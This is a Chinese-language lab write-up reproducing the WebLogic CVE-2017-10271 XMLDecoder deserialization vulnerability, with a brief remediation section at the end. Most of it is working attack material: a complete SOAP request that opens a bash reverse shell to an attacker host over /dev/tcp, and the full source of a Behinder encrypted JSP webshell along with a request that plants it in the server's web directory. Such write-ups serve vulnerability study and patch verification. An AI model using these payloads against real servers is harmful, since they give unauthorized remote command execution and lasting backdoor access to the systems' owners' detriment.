[网络协议]Weblogic CVE-2017-10271漏洞复现

0x01 漏洞介绍

Weblogic的WLS Security组件对外提供webservice服务，其中使用了XMLDecoder来解析用户传入的XML数据，在解析的过程中出现反序列化漏洞，导致可执行任意命令。

0x02 环境部署：

搭建一次，复现百次
靶机 ip：192.168.30.209
kali ip：192.168.30.182

0x03 漏洞复现

方法一：执行命令反弹shell

1. 查看环境是否搭建成功

访问靶机ip若可以看到以下页面就证明环境搭建成功

http://192.168.30.209:7001/

2. 在攻击机用nc监听端口4444：

3. 使用burp发送下面的payload

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 192.168.30.209:7001
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Length: 640
Content-Type: text/xml

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i &gt;&amp; /dev/tcp/192.168.30.182/4444 0&gt;&amp;1</string> 
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

需要在请求头中加入 Content-Type: text/xml 并且改为POST方法

4. 反弹shell成功
   

方法二：一句话木马+冰蝎连接

1. 冰蝎自带一句话木马

#一句话木马  shell123.jsp  连接密码
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>

2. 用burpsuite发送如下payload

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 192.168.30.209:7001
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Length: 1165
Content-Type: text/xml

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
     <soapenv:Header>
     <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
     <java><java version="1.4.0" class="java.beans.XMLDecoder">
     <object class="java.io.PrintWriter">      <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/shell123.jsp</string>
     <void method="println"><string>
     <![CDATA[
 <%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>
     ]]>
     </string>
     </void>
     <void method="close"/>
     </object></java></java>
     </work:WorkContext>
     </soapenv:Header>
     <soapenv:Body/>
</soapenv:Envelope>

3. 冰蝎连接

连接成功

0x04 漏洞修复

1. 根据实际环境路径，删除WebLogicwls-wsat组件；删除相关文件后重启weblogic，保证访问wls-wsat/ 提示404错误；
2. Oracle下载相关10271补丁，进行升级
   http://www.oracle.com/technetwork/security-advisory/cpuoct2017-3236626.html；